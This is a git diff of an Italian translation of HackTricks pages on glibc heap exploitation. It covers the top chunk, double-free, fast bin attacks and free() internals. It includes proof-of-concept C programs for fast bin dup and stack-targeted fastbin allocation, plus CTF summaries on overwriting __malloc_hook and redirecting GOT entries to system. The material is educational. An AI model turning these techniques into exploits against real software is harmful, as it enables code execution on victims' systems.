possible to see the length of the Top chunk on its chunk header: - +Dove si può vedere che il chunk superiore si trova all'indirizzo `0xaaaaaaac1ae0`. Non è una sorpresa perché l'ultimo chunk allocato era in `0xaaaaaaac12a0` con una dimensione di `0x410` e `0xaaaaaaac12a0 + 0x410 = 0xaaaaaaac1ae0`.\ +È anche possibile vedere la lunghezza del Top chunk nell'intestazione del suo chunk: ```bash gef➤ x/8wx 0xaaaaaaac1ae0 - 16 0xaaaaaaac1ad0: 0x00000000 0x00000000 0x00020531 0x00000000 0xaaaaaaac1ae0: 0x00000000 0x00000000 0x00000000 0x00000000 ``` -
-### Last Remainder +### Ultimo Rimanente -When malloc is used and a chunk is divided (from the unsorted bin or from the top chunk for example), the chunk created from the rest of the divided chunk is called Last Remainder and it's pointer is stored in the `malloc_state` struct. +Quando viene utilizzato malloc e un chunk viene diviso (ad esempio dal bin non ordinato o dal chunk superiore), il chunk creato dal resto del chunk diviso è chiamato Ultimo Rimanente e il suo puntatore è memorizzato nella struct `malloc_state`. -## Allocation Flow +## Flusso di Allocazione -Check out: +Controlla: {{#ref}} heap-memory-functions/malloc-and-sysmalloc.md {{#endref}} -## Free Flow +## Flusso di Liberazione -Check out: +Controlla: {{#ref}} heap-memory-functions/free.md {{#endref}} -## Heap Functions Security Checks +## Controlli di Sicurezza delle Funzioni Heap -Check the security checks performed by heavily used functions in heap in: +Controlla i controlli di sicurezza eseguiti dalle funzioni ampiamente utilizzate nell'heap in: {{#ref}} heap-memory-functions/heap-functions-security-checks.md {{#endref}} -## References +## Riferimenti - [https://azeria-labs.com/heap-exploitation-part-1-understanding-the-glibc-heap-implementation/](https://azeria-labs.com/heap-exploitation-part-1-understanding-the-glibc-heap-implementation/) - [https://azeria-labs.com/heap-exploitation-part-2-glibc-heap-free-bins/](https://azeria-labs.com/heap-exploitation-part-2-glibc-heap-free-bins/) diff --git a/src/binary-exploitation/libc-heap/double-free.md b/src/binary-exploitation/libc-heap/double-free.md index a30116d58..e2d3898ad 100644 --- a/src/binary-exploitation/libc-heap/double-free.md +++ b/src/binary-exploitation/libc-heap/double-free.md @@ -2,91 +2,89 @@ {{#include ../../banners/hacktricks-training.md}} -## Basic Information +## Informazioni di Base -If you free a block of memory more than once, it can mess up the allocator's data and open the door to attacks. Here's how it happens: when you free a block of memory, it goes back into a list of free chunks (e.g. the "fast bin"). If you free the same block twice in a row, the allocator detects this and throws an error. But if you **free another chunk in between, the double-free check is bypassed**, causing corruption. +Se si libera un blocco di memoria più di una volta, può danneggiare i dati dell'allocatore e aprire la porta ad attacchi. Ecco come avviene: quando si libera un blocco di memoria, torna in un elenco di chunk liberi (ad es. il "fast bin"). Se si libera lo stesso blocco due volte di seguito, l'allocatore lo rileva e genera un errore. Ma se si **libera un altro chunk nel mezzo, il controllo del double-free viene bypassato**, causando corruzione. -Now, when you ask for new memory (using `malloc`), the allocator might give you a **block that's been freed twice**. This can lead to two different pointers pointing to the same memory location. If an attacker controls one of those pointers, they can change the contents of that memory, which can cause security issues or even allow them to execute code. - -Example: +Ora, quando si richiede nuova memoria (utilizzando `malloc`), l'allocatore potrebbe fornire un **blocco che è stato liberato due volte**. Questo può portare a due puntatori diversi che puntano alla stessa posizione di memoria. Se un attaccante controlla uno di quei puntatori, può modificare il contenuto di quella memoria, il che può causare problemi di sicurezza o addirittura consentire loro di eseguire codice. +Esempio: ```c #include #include int main() { - // Allocate memory for three chunks - char *a = (char *)malloc(10); - char *b = (char *)malloc(10); - char *c = (char *)malloc(10); - char *d = (char *)malloc(10); - char *e = (char *)malloc(10); - char *f = (char *)malloc(10); - char *g = (char *)malloc(10); - char *h = (char *)malloc(10); - char *i = (char *)malloc(10); +// Allocate memory for three chunks +char *a = (char *)malloc(10); +char *b = (char *)malloc(10); +char *c = (char *)malloc(10); +char *d = (char *)malloc(10); +char *e = (char *)malloc(10); +char *f = (char *)malloc(10); +char *g = (char *)malloc(10); +char *h = (char *)malloc(10); +char *i = (char *)malloc(10); - // Print initial memory addresses - printf("Initial allocations:\n"); - printf("a: %p\n", (void *)a); - printf("b: %p\n", (void *)b); - printf("c: %p\n", (void *)c); - printf("d: %p\n", (void *)d); - printf("e: %p\n", (void *)e); - printf("f: %p\n", (void *)f); - printf("g: %p\n", (void *)g); - printf("h: %p\n", (void *)h); - printf("i: %p\n", (void *)i); +// Print initial memory addresses +printf("Initial allocations:\n"); +printf("a: %p\n", (void *)a); +printf("b: %p\n", (void *)b); +printf("c: %p\n", (void *)c); +printf("d: %p\n", (void *)d); +printf("e: %p\n", (void *)e); +printf("f: %p\n", (void *)f); +printf("g: %p\n", (void *)g); +printf("h: %p\n", (void *)h); +printf("i: %p\n", (void *)i); - // Fill tcache - free(a); - free(b); - free(c); - free(d); - free(e); - free(f); - free(g); +// Fill tcache +free(a); +free(b); +free(c); +free(d); +free(e); +free(f); +free(g); - // Introduce double-free vulnerability in fast bin - free(h); - free(i); - free(h); +// Introduce double-free vulnerability in fast bin +free(h); +free(i); +free(h); - // Reallocate memory and print the addresses - char *a1 = (char *)malloc(10); - char *b1 = (char *)malloc(10); - char *c1 = (char *)malloc(10); - char *d1 = (char *)malloc(10); - char *e1 = (char *)malloc(10); - char *f1 = (char *)malloc(10); - char *g1 = (char *)malloc(10); - char *h1 = (char *)malloc(10); - char *i1 = (char *)malloc(10); - char *i2 = (char *)malloc(10); +// Reallocate memory and print the addresses +char *a1 = (char *)malloc(10); +char *b1 = (char *)malloc(10); +char *c1 = (char *)malloc(10); +char *d1 = (char *)malloc(10); +char *e1 = (char *)malloc(10); +char *f1 = (char *)malloc(10); +char *g1 = (char *)malloc(10); +char *h1 = (char *)malloc(10); +char *i1 = (char *)malloc(10); +char *i2 = (char *)malloc(10); - // Print initial memory addresses - printf("After reallocations:\n"); - printf("a1: %p\n", (void *)a1); - printf("b1: %p\n", (void *)b1); - printf("c1: %p\n", (void *)c1); - printf("d1: %p\n", (void *)d1); - printf("e1: %p\n", (void *)e1); - printf("f1: %p\n", (void *)f1); - printf("g1: %p\n", (void *)g1); - printf("h1: %p\n", (void *)h1); - printf("i1: %p\n", (void *)i1); - printf("i2: %p\n", (void *)i2); +// Print initial memory addresses +printf("After reallocations:\n"); +printf("a1: %p\n", (void *)a1); +printf("b1: %p\n", (void *)b1); +printf("c1: %p\n", (void *)c1); +printf("d1: %p\n", (void *)d1); +printf("e1: %p\n", (void *)e1); +printf("f1: %p\n", (void *)f1); +printf("g1: %p\n", (void *)g1); +printf("h1: %p\n", (void *)h1); +printf("i1: %p\n", (void *)i1); +printf("i2: %p\n", (void *)i2); - return 0; +return 0; } ``` +In questo esempio, dopo aver riempito il tcache con diversi chunk liberati (7), il codice **libera il chunk `h`, poi il chunk `i`, e poi `h` di nuovo, causando un double free** (noto anche come Fast Bin dup). Questo apre la possibilità di ricevere indirizzi di memoria sovrapposti durante la riallocazione, il che significa che due o più puntatori possono puntare alla stessa posizione di memoria. Manipolare i dati attraverso un puntatore può quindi influenzare l'altro, creando un rischio critico per la sicurezza e potenziale per sfruttamento. -In this example, after filling the tcache with several freed chunks (7), the code **frees chunk `h`, then chunk `i`, and then `h` again, causing a double free** (also known as Fast Bin dup). This opens the possibility of receiving overlapping memory addresses when reallocating, meaning two or more pointers can point to the same memory location. Manipulating data through one pointer can then affect the other, creating a critical security risk and potential for exploitation. +Eseguendolo, nota come **`i1` e `i2` abbiano ottenuto lo stesso indirizzo**: -Executing it, note how **`i1` and `i2` got the same address**: - -
Initial allocations:
+
Allocazioni iniziali:
 a: 0xaaab0f0c22a0
 b: 0xaaab0f0c22c0
 c: 0xaaab0f0c22e0
@@ -96,7 +94,7 @@ f: 0xaaab0f0c2340
 g: 0xaaab0f0c2360
 h: 0xaaab0f0c2380
 i: 0xaaab0f0c23a0
-After reallocations:
+Dopo le riallocazioni:
 a1: 0xaaab0f0c2360
 b1: 0xaaab0f0c2340
 c1: 0xaaab0f0c2320
@@ -109,23 +107,23 @@ h1: 0xaaab0f0c2380
 i2: 0xaaab0f0c23a0
 
-## Examples +## Esempi - [**Dragon Army. Hack The Box**](https://7rocky.github.io/en/ctf/htb-challenges/pwn/dragon-army/) - - We can only allocate Fast-Bin-sized chunks except for size `0x70`, which prevents the usual `__malloc_hook` overwrite. - - Instead, we use PIE addresses that start with `0x56` as a target for Fast Bin dup (1/2 chance). - - One place where PIE addresses are stored is in `main_arena`, which is inside Glibc and near `__malloc_hook` - - We target a specific offset of `main_arena` to allocate a chunk there and continue allocating chunks until reaching `__malloc_hook` to get code execution. +- Possiamo allocare solo chunk di dimensioni Fast-Bin tranne che per la dimensione `0x70`, il che impedisce la solita sovrascrittura di `__malloc_hook`. +- Invece, utilizziamo indirizzi PIE che iniziano con `0x56` come obiettivo per Fast Bin dup (1/2 possibilità). +- Un luogo in cui gli indirizzi PIE sono memorizzati è in `main_arena`, che si trova all'interno di Glibc e vicino a `__malloc_hook`. +- Miriamo a un offset specifico di `main_arena` per allocare un chunk lì e continuiamo ad allocare chunk fino a raggiungere `__malloc_hook` per ottenere l'esecuzione del codice. - [**zero_to_hero. PicoCTF**](https://7rocky.github.io/en/ctf/picoctf/binary-exploitation/zero_to_hero/) - - Using Tcache bins and a null-byte overflow, we can achieve a double-free situation: - - We allocate three chunks of size `0x110` (`A`, `B`, `C`) - - We free `B` - - We free `A` and allocate again to use the null-byte overflow - - Now `B`'s size field is `0x100`, instead of `0x111`, so we can free it again - - We have one Tcache-bin of size `0x110` and one of size `0x100` that point to the same address. So we have a double free. - - We leverage the double free using [Tcache poisoning](tcache-bin-attack.md) +- Utilizzando i Tcache bins e un overflow di byte nullo, possiamo ottenere una situazione di double-free: +- Allocchiamo tre chunk di dimensione `0x110` (`A`, `B`, `C`) +- Liberiamo `B` +- Liberiamo `A` e allocchiamo di nuovo per utilizzare l'overflow di byte nullo +- Ora il campo di dimensione di `B` è `0x100`, invece di `0x111`, quindi possiamo liberarlo di nuovo +- Abbiamo un Tcache-bin di dimensione `0x110` e uno di dimensione `0x100` che puntano allo stesso indirizzo. Quindi abbiamo un double free. +- Sfruttiamo il double free utilizzando [Tcache poisoning](tcache-bin-attack.md) -## References +## Riferimenti - [https://heap-exploitation.dhavalkapil.com/attacks/double_free](https://heap-exploitation.dhavalkapil.com/attacks/double_free) diff --git a/src/binary-exploitation/libc-heap/fast-bin-attack.md b/src/binary-exploitation/libc-heap/fast-bin-attack.md index c36c675de..304154802 100644 --- a/src/binary-exploitation/libc-heap/fast-bin-attack.md +++ b/src/binary-exploitation/libc-heap/fast-bin-attack.md @@ -2,18 +2,17 @@ {{#include ../../banners/hacktricks-training.md}} -## Basic Information +## Informazioni di Base -For more information about what is a fast bin check this page: +Per ulteriori informazioni su cosa sia un fast bin, controlla questa pagina: {{#ref}} bins-and-memory-allocations.md {{#endref}} -Because the fast bin is a singly linked list, there are much less protections than in other bins and just **modifying an address in a freed fast bin** chunk is enough to be able to **allocate later a chunk in any memory address**. - -As summary: +Poiché il fast bin è una lista collegata singola, ci sono molte meno protezioni rispetto ad altri bin e **modificare un indirizzo in un chunk fast bin liberato** è sufficiente per poter **allocare successivamente un chunk in qualsiasi indirizzo di memoria**. +In sintesi: ```c ptr0 = malloc(0x20); ptr1 = malloc(0x20); @@ -29,9 +28,7 @@ free(ptr1) ptr2 = malloc(0x20); // This will get ptr1 ptr3 = malloc(0x20); // This will get a chunk in the
which could be abuse to overwrite arbitrary content inside of it ``` - -You can find a full example in a very well explained code from [https://guyinatuxedo.github.io/28-fastbin_attack/explanation_fastbinAttack/index.html](https://guyinatuxedo.github.io/28-fastbin_attack/explanation_fastbinAttack/index.html): - +Puoi trovare un esempio completo in un codice molto ben spiegato da [https://guyinatuxedo.github.io/28-fastbin_attack/explanation_fastbinAttack/index.html](https://guyinatuxedo.github.io/28-fastbin_attack/explanation_fastbinAttack/index.html): ```c #include #include @@ -39,112 +36,111 @@ You can find a full example in a very well explained code from [https://guyinatu int main(void) { - puts("Today we will be discussing a fastbin attack."); - puts("There are 10 fastbins, which act as linked lists (they're separated by size)."); - puts("When a chunk is freed within a certain size range, it is added to one of the fastbin linked lists."); - puts("Then when a chunk is allocated of a similar size, it grabs chunks from the corresponding fastbin (if there are chunks in it)."); - puts("(think sizes 0x10-0x60 for fastbins, but that can change depending on some settings)"); - puts("\nThis attack will essentially attack the fastbin by using a bug to edit the linked list to point to a fake chunk we want to allocate."); - puts("Pointers in this linked list are allocated when we allocate a chunk of the size that corresponds to the fastbin."); - puts("So we will just allocate chunks from the fastbin after we edit a pointer to point to our fake chunk, to get malloc to return a pointer to our fake chunk.\n"); - puts("So the tl;dr objective of a fastbin attack is to allocate a chunk to a memory region of our choosing.\n"); +puts("Today we will be discussing a fastbin attack."); +puts("There are 10 fastbins, which act as linked lists (they're separated by size)."); +puts("When a chunk is freed within a certain size range, it is added to one of the fastbin linked lists."); +puts("Then when a chunk is allocated of a similar size, it grabs chunks from the corresponding fastbin (if there are chunks in it)."); +puts("(think sizes 0x10-0x60 for fastbins, but that can change depending on some settings)"); +puts("\nThis attack will essentially attack the fastbin by using a bug to edit the linked list to point to a fake chunk we want to allocate."); +puts("Pointers in this linked list are allocated when we allocate a chunk of the size that corresponds to the fastbin."); +puts("So we will just allocate chunks from the fastbin after we edit a pointer to point to our fake chunk, to get malloc to return a pointer to our fake chunk.\n"); +puts("So the tl;dr objective of a fastbin attack is to allocate a chunk to a memory region of our choosing.\n"); - puts("Let's start, we will allocate three chunks of size 0x30\n"); - unsigned long *ptr0, *ptr1, *ptr2; +puts("Let's start, we will allocate three chunks of size 0x30\n"); +unsigned long *ptr0, *ptr1, *ptr2; - ptr0 = malloc(0x30); - ptr1 = malloc(0x30); - ptr2 = malloc(0x30); +ptr0 = malloc(0x30); +ptr1 = malloc(0x30); +ptr2 = malloc(0x30); - printf("Chunk 0: %p\n", ptr0); - printf("Chunk 1: %p\n", ptr1); - printf("Chunk 2: %p\n\n", ptr2); +printf("Chunk 0: %p\n", ptr0); +printf("Chunk 1: %p\n", ptr1); +printf("Chunk 2: %p\n\n", ptr2); - printf("Next we will make an integer variable on the stack. Our goal will be to allocate a chunk to this variable (because why not).\n"); +printf("Next we will make an integer variable on the stack. Our goal will be to allocate a chunk to this variable (because why not).\n"); - int stackVar = 0x55; +int stackVar = 0x55; - printf("Integer: %x\t @: %p\n\n", stackVar, &stackVar); +printf("Integer: %x\t @: %p\n\n", stackVar, &stackVar); - printf("Proceeding that I'm going to write just some data to the three heap chunks\n"); +printf("Proceeding that I'm going to write just some data to the three heap chunks\n"); - char *data0 = "00000000"; - char *data1 = "11111111"; - char *data2 = "22222222"; +char *data0 = "00000000"; +char *data1 = "11111111"; +char *data2 = "22222222"; - memcpy(ptr0, data0, 0x8); - memcpy(ptr1, data1, 0x8); - memcpy(ptr2, data2, 0x8); +memcpy(ptr0, data0, 0x8); +memcpy(ptr1, data1, 0x8); +memcpy(ptr2, data2, 0x8); - printf("We can see the data that is held in these chunks. This data will get overwritten when they get added to the fastbin.\n"); +printf("We can see the data that is held in these chunks. This data will get overwritten when they get added to the fastbin.\n"); - printf("Chunk 0: %s\n", (char *)ptr0); - printf("Chunk 1: %s\n", (char *)ptr1); - printf("Chunk 2: %s\n\n", (char *)ptr2); +printf("Chunk 0: %s\n", (char *)ptr0); +printf("Chunk 1: %s\n", (char *)ptr1); +printf("Chunk 2: %s\n\n", (char *)ptr2); - printf("Next we are going to free all three pointers. This will add all of them to the fastbin linked list. We can see that they hold pointers to chunks that will be allocated.\n"); +printf("Next we are going to free all three pointers. This will add all of them to the fastbin linked list. We can see that they hold pointers to chunks that will be allocated.\n"); - free(ptr0); - free(ptr1); - free(ptr2); +free(ptr0); +free(ptr1); +free(ptr2); - printf("Chunk0 @ 0x%p\t contains: %lx\n", ptr0, *ptr0); - printf("Chunk1 @ 0x%p\t contains: %lx\n", ptr1, *ptr1); - printf("Chunk2 @ 0x%p\t contains: %lx\n\n", ptr2, *ptr2); +printf("Chunk0 @ 0x%p\t contains: %lx\n", ptr0, *ptr0); +printf("Chunk1 @ 0x%p\t contains: %lx\n", ptr1, *ptr1); +printf("Chunk2 @ 0x%p\t contains: %lx\n\n", ptr2, *ptr2); - printf("So we can see that the top two entries in the fastbin (the last two chunks we freed) contains pointers to the next chunk in the fastbin. The last chunk in there contains `0x0` as the next pointer to indicate the end of the linked list.\n\n"); +printf("So we can see that the top two entries in the fastbin (the last two chunks we freed) contains pointers to the next chunk in the fastbin. The last chunk in there contains `0x0` as the next pointer to indicate the end of the linked list.\n\n"); - printf("Now we will edit a freed chunk (specifically the second chunk \"Chunk 1\"). We will be doing it with a use after free, since after we freed it we didn't get rid of the pointer.\n"); - printf("We will edit it so the next pointer points to the address of the stack integer variable we talked about earlier. This way when we allocate this chunk, it will put our fake chunk (which points to the stack integer) on top of the free list.\n\n"); +printf("Now we will edit a freed chunk (specifically the second chunk \"Chunk 1\"). We will be doing it with a use after free, since after we freed it we didn't get rid of the pointer.\n"); +printf("We will edit it so the next pointer points to the address of the stack integer variable we talked about earlier. This way when we allocate this chunk, it will put our fake chunk (which points to the stack integer) on top of the free list.\n\n"); - *ptr1 = (unsigned long)((char *)&stackVar); +*ptr1 = (unsigned long)((char *)&stackVar); - printf("We can see it's new value of Chunk1 @ %p\t hold: 0x%lx\n\n", ptr1, *ptr1); +printf("We can see it's new value of Chunk1 @ %p\t hold: 0x%lx\n\n", ptr1, *ptr1); - printf("Now we will allocate three new chunks. The first one will pretty much be a normal chunk. The second one is the chunk which the next pointer we overwrote with the pointer to the stack variable.\n"); - printf("When we allocate that chunk, our fake chunk will be at the top of the fastbin. Then we can just allocate one more chunk from that fastbin to get malloc to return a pointer to the stack variable.\n\n"); +printf("Now we will allocate three new chunks. The first one will pretty much be a normal chunk. The second one is the chunk which the next pointer we overwrote with the pointer to the stack variable.\n"); +printf("When we allocate that chunk, our fake chunk will be at the top of the fastbin. Then we can just allocate one more chunk from that fastbin to get malloc to return a pointer to the stack variable.\n\n"); - unsigned long *ptr3, *ptr4, *ptr5; +unsigned long *ptr3, *ptr4, *ptr5; - ptr3 = malloc(0x30); - ptr4 = malloc(0x30); - ptr5 = malloc(0x30); +ptr3 = malloc(0x30); +ptr4 = malloc(0x30); +ptr5 = malloc(0x30); - printf("Chunk 3: %p\n", ptr3); - printf("Chunk 4: %p\n", ptr4); - printf("Chunk 5: %p\t Contains: 0x%x\n", ptr5, (int)*ptr5); +printf("Chunk 3: %p\n", ptr3); +printf("Chunk 4: %p\n", ptr4); +printf("Chunk 5: %p\t Contains: 0x%x\n", ptr5, (int)*ptr5); - printf("\n\nJust like that, we executed a fastbin attack to allocate an address to a stack variable using malloc!\n"); +printf("\n\nJust like that, we executed a fastbin attack to allocate an address to a stack variable using malloc!\n"); } ``` - > [!CAUTION] -> If it's possible to overwrite the value of the global variable **`global_max_fast`** with a big number, this allows to generate fast bin chunks of bigger sizes, potentially allowing to perform fast bin attacks in scenarios where it wasn't possible previously. This situation useful in the context of [large bin attack](large-bin-attack.md) and [unsorted bin attack](unsorted-bin-attack.md) +> Se è possibile sovrascrivere il valore della variabile globale **`global_max_fast`** con un numero grande, questo consente di generare chunk di fast bin di dimensioni maggiori, potenzialmente permettendo di eseguire attacchi fast bin in scenari in cui non era possibile in precedenza. Questa situazione è utile nel contesto dell'[attacco a grande bin](large-bin-attack.md) e dell'[attacco a bin non ordinati](unsorted-bin-attack.md) -## Examples +## Esempi - **CTF** [**https://guyinatuxedo.github.io/28-fastbin_attack/0ctf_babyheap/index.html**](https://guyinatuxedo.github.io/28-fastbin_attack/0ctf_babyheap/index.html)**:** - - It's possible to allocate chunks, free them, read their contents and fill them (with an overflow vulnerability). - - **Consolidate chunk for infoleak**: The technique is basically to abuse the overflow to create a fake `prev_size` so one previous chunks is put inside a bigger one, so when allocating the bigger one containing another chunk, it's possible to print it's data an leak an address to libc (`main_arena+88`). - - **Overwrite malloc hook**: For this, and abusing the previous overlapping situation, it was possible to have 2 chunks that were pointing to the same memory. Therefore, freeing them both (freeing another chunk in between to avoid protections) it was possible to have the same chunk in the fast bin 2 times. Then, it was possible to allocate it again, overwrite the address to the next chunk to point a bit before `__malloc_hook` (so it points to an integer that malloc thinks is a free size - another bypass), allocate it again and then allocate another chunk that will receive an address to malloc hooks.\ - Finally a **one gadget** was written in there. +- È possibile allocare chunk, liberarli, leggere i loro contenuti e riempirli (con una vulnerabilità di overflow). +- **Consolidare chunk per infoleak**: La tecnica consiste fondamentalmente nell'abusare dell'overflow per creare un falso `prev_size` in modo che un chunk precedente venga inserito all'interno di uno più grande, quindi quando si allocca il più grande contenente un altro chunk, è possibile stampare i suoi dati e rivelare un indirizzo a libc (`main_arena+88`). +- **Sovrascrivere malloc hook**: Per questo, e abusando della situazione di sovrapposizione precedente, è stato possibile avere 2 chunk che puntavano alla stessa memoria. Pertanto, liberandoli entrambi (liberando un altro chunk nel mezzo per evitare protezioni) è stato possibile avere lo stesso chunk nel fast bin 2 volte. Poi, è stato possibile allocarlo di nuovo, sovrascrivere l'indirizzo del chunk successivo per puntare a un po' prima di `__malloc_hook` (quindi punta a un intero che malloc pensa sia una dimensione libera - un altro bypass), allocarlo di nuovo e poi allocare un altro chunk che riceverà un indirizzo ai malloc hooks.\ +Infine, un **one gadget** è stato scritto lì. - **CTF** [**https://guyinatuxedo.github.io/28-fastbin_attack/csaw17_auir/index.html**](https://guyinatuxedo.github.io/28-fastbin_attack/csaw17_auir/index.html)**:** - - There is a heap overflow and use after free and double free because when a chunk is freed it's possible to reuse and re-free the pointers - - **Libc info leak**: Just free some chunks and they will get a pointer to a part of the main arena location. As you can reuse freed pointers, just read this address. - - **Fast bin attack**: All the pointers to the allocations are stored inside an array, so we can free a couple of fast bin chunks and in the last one overwrite the address to point a bit before this array of pointers. Then, allocate a couple of chunks with the same size and we will get first the legit one and then the fake one containing the array of pointers. We can now overwrite this allocation pointers to make the GOT address of `free` point to `system` and then write `"/bin/sh"` in chunk 1 to then call `free(chunk1)` which instead will execute `system("/bin/sh")`. +- C'è un overflow dell'heap e uso dopo la liberazione e doppia liberazione perché quando un chunk viene liberato è possibile riutilizzare e ri-liberare i puntatori. +- **Libc info leak**: Basta liberare alcuni chunk e otterranno un puntatore a una parte della posizione dell'arena principale. Poiché è possibile riutilizzare i puntatori liberati, basta leggere questo indirizzo. +- **Attacco fast bin**: Tutti i puntatori alle allocazioni sono memorizzati all'interno di un array, quindi possiamo liberare un paio di chunk di fast bin e nell'ultimo sovrascrivere l'indirizzo per puntare a un po' prima di questo array di puntatori. Poi, allocare un paio di chunk della stessa dimensione e otterremo prima quello legittimo e poi quello falso contenente l'array di puntatori. Possiamo ora sovrascrivere questi puntatori di allocazione per far sì che l'indirizzo GOT di `free` punti a `system` e poi scrivere `"/bin/sh"` nel chunk 1 per poi chiamare `free(chunk1)` che invece eseguirà `system("/bin/sh")`. - **CTF** [**https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html) - - Another example of abusing a one byte overflow to consolidate chunks in the unsorted bin and get a libc infoleak and then perform a fast bin attack to overwrite malloc hook with a one gadget address +- Un altro esempio di abuso di un overflow di un byte per consolidare chunk nel bin non ordinato e ottenere un infoleak di libc e poi eseguire un attacco fast bin per sovrascrivere malloc hook con un indirizzo di one gadget. - **CTF** [**https://guyinatuxedo.github.io/33-custom_misc_heap/csaw18_alienVSsamurai/index.html**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw18_alienVSsamurai/index.html) - - After an infoleak abusing the unsorted bin with a UAF to leak a libc address and a PIE address, the exploit of this CTF used a fast bin attack to allocate a chunk in a place where the pointers to controlled chunks were located so it was possible to overwrite certain pointers to write a one gadget in the GOT - - You can find a Fast Bin attack abused through an unsorted bin attack: - - Note that it's common before performing fast bin attacks to abuse the free-lists to leak libc/heap addresses (when needed). +- Dopo un infoleak abusando del bin non ordinato con un UAF per rivelare un indirizzo libc e un indirizzo PIE, l'exploit di questo CTF ha utilizzato un attacco fast bin per allocare un chunk in un luogo in cui si trovavano i puntatori ai chunk controllati, quindi è stato possibile sovrascrivere determinati puntatori per scrivere un one gadget nel GOT. +- Puoi trovare un attacco Fast Bin abusato attraverso un attacco a bin non ordinati: +- Nota che è comune, prima di eseguire attacchi fast bin, abusare delle free-lists per rivelare indirizzi libc/heap (quando necessario). - [**Robot Factory. BlackHat MEA CTF 2022**](https://7rocky.github.io/en/ctf/other/blackhat-ctf/robot-factory/) - - We can only allocate chunks of size greater than `0x100`. - - Overwrite `global_max_fast` using an Unsorted Bin attack (works 1/16 times due to ASLR, because we need to modify 12 bits, but we must modify 16 bits). - - Fast Bin attack to modify the a global array of chunks. This gives an arbitrary read/write primitive, which allows to modify the GOT and set some function to point to `system`. +- Possiamo solo allocare chunk di dimensioni superiori a `0x100`. +- Sovrascrivere `global_max_fast` utilizzando un attacco a bin non ordinati (funziona 1/16 volte a causa di ASLR, perché dobbiamo modificare 12 bit, ma dobbiamo modificare 16 bit). +- Attacco Fast Bin per modificare un array globale di chunk. Questo fornisce una primitiva di lettura/scrittura arbitraria, che consente di modificare il GOT e impostare alcune funzioni per puntare a `system`. {{#ref}} unsorted-bin-attack.md diff --git a/src/binary-exploitation/libc-heap/heap-memory-functions/README.md b/src/binary-exploitation/libc-heap/heap-memory-functions/README.md index 04855d5fb..4dd74e704 100644 --- a/src/binary-exploitation/libc-heap/heap-memory-functions/README.md +++ b/src/binary-exploitation/libc-heap/heap-memory-functions/README.md @@ -1,4 +1,4 @@ -# Heap Memory Functions +# Funzioni di Memoria Heap {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/libc-heap/heap-memory-functions/free.md b/src/binary-exploitation/libc-heap/heap-memory-functions/free.md index e57b1fa77..bad854929 100644 --- a/src/binary-exploitation/libc-heap/heap-memory-functions/free.md +++ b/src/binary-exploitation/libc-heap/heap-memory-functions/free.md @@ -2,95 +2,92 @@ {{#include ../../../banners/hacktricks-training.md}} -## Free Order Summary +## Riepilogo dell'Ordine di Free -(No checks are explained in this summary and some case have been omitted for brevity) +(Nessun controllo è spiegato in questo riepilogo e alcuni casi sono stati omessi per brevità) -1. If the address is null don't do anything -2. If the chunk was mmaped, mummap it and finish -3. Call `_int_free`: - 1. If possible, add the chunk to the tcache - 2. If possible, add the chunk to the fast bin - 3. Call `_int_free_merge_chunk` to consolidate the chunk is needed and add it to the unsorted list +1. Se l'indirizzo è nullo non fare nulla +2. Se il chunk è stato mmaped, mummaparlo e finire +3. Chiamare `_int_free`: + 1. Se possibile, aggiungere il chunk al tcache + 2. Se possibile, aggiungere il chunk al fast bin + 3. Chiamare `_int_free_merge_chunk` per consolidare il chunk se necessario e aggiungerlo alla lista non ordinata ## \_\_libc_free -`Free` calls `__libc_free`. +`Free` chiama `__libc_free`. -- If the address passed is Null (0) don't do anything. -- Check pointer tag -- If the chunk is `mmaped`, `mummap` it and that all -- If not, add the color and call `_int_free` over it +- Se l'indirizzo passato è Null (0) non fare nulla. +- Controllare il tag del puntatore +- Se il chunk è `mmaped`, `mummap` e basta +- Se no, aggiungere il colore e chiamare `_int_free` su di esso
__lib_free code - ```c void __libc_free (void *mem) { - mstate ar_ptr; - mchunkptr p; /* chunk corresponding to mem */ +mstate ar_ptr; +mchunkptr p; /* chunk corresponding to mem */ - if (mem == 0) /* free(0) has no effect */ - return; +if (mem == 0) /* free(0) has no effect */ +return; - /* Quickly check that the freed pointer matches the tag for the memory. - This gives a useful double-free detection. */ - if (__glibc_unlikely (mtag_enabled)) - *(volatile char *)mem; +/* Quickly check that the freed pointer matches the tag for the memory. +This gives a useful double-free detection. */ +if (__glibc_unlikely (mtag_enabled)) +*(volatile char *)mem; - int err = errno; +int err = errno; - p = mem2chunk (mem); +p = mem2chunk (mem); - if (chunk_is_mmapped (p)) /* release mmapped memory. */ - { - /* See if the dynamic brk/mmap threshold needs adjusting. - Dumped fake mmapped chunks do not affect the threshold. */ - if (!mp_.no_dyn_threshold - && chunksize_nomask (p) > mp_.mmap_threshold - && chunksize_nomask (p) <= DEFAULT_MMAP_THRESHOLD_MAX) - { - mp_.mmap_threshold = chunksize (p); - mp_.trim_threshold = 2 * mp_.mmap_threshold; - LIBC_PROBE (memory_mallopt_free_dyn_thresholds, 2, - mp_.mmap_threshold, mp_.trim_threshold); - } - munmap_chunk (p); - } - else - { - MAYBE_INIT_TCACHE (); +if (chunk_is_mmapped (p)) /* release mmapped memory. */ +{ +/* See if the dynamic brk/mmap threshold needs adjusting. +Dumped fake mmapped chunks do not affect the threshold. */ +if (!mp_.no_dyn_threshold +&& chunksize_nomask (p) > mp_.mmap_threshold +&& chunksize_nomask (p) <= DEFAULT_MMAP_THRESHOLD_MAX) +{ +mp_.mmap_threshold = chunksize (p); +mp_.trim_threshold = 2 * mp_.mmap_threshold; +LIBC_PROBE (memory_mallopt_free_dyn_thresholds, 2, +mp_.mmap_threshold, mp_.trim_threshold); +} +munmap_chunk (p); +} +else +{ +MAYBE_INIT_TCACHE (); - /* Mark the chunk as belonging to the library again. */ - (void)tag_region (chunk2mem (p), memsize (p)); +/* Mark the chunk as belonging to the library again. */ +(void)tag_region (chunk2mem (p), memsize (p)); - ar_ptr = arena_for_chunk (p); - _int_free (ar_ptr, p, 0); - } +ar_ptr = arena_for_chunk (p); +_int_free (ar_ptr, p, 0); +} - __set_errno (err); +__set_errno (err); } libc_hidden_def (__libc_free) ``` -
